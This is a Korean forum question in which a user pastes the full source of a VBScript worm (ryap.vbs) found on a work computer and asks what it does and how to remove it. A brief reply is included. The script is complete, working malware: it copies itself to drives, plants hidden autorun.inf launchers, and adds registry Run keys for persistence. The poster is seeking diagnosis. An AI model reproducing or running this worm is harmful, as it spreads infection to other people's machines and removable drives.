vbs 바이러스 내용인데 뭘 할려는 건지요? 정보
vbs 바이러스 내용인데 뭘 할려는 건지요?
본문
어제 제가 질문을 여기 올렸었는데..
각 하드 드라이브에 ryap.vbs 파일이 있는데..없애면 또 생기고 그럽니다.
탐색기에서 드라이브를 바로 클릭하면 안들어가지구요, 폴더보기 등으로 해야 트리가 펼쳐집니다.
도대체 무슨 짓을 할 작정으로 만든건지 아래 내용을 메모장에 열어봤거든요.
그리고 없애는 방법도 좀 알려주세요 ㅜㅜ
회사 컴에 저 놈의 씨앗이 다 있네요 ㅋㅋㅋ
'BY:
'CRISTAR INTERNET CAFE FESTIVAL BRANCH 1
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe ryap.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\ryap.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\ryap.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\ryap.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\ryap.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\ryap.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\ryap.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ryap",winpath&"\ryap.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FS6519",winpath&"\ryap.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",""
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
0
댓글 2개


그리고 탐색기에서 접근해야만 되는 것은 치료 후 원상 복귀가 안되면 폴더 속성에서 수동으로 조정해줘야합니다.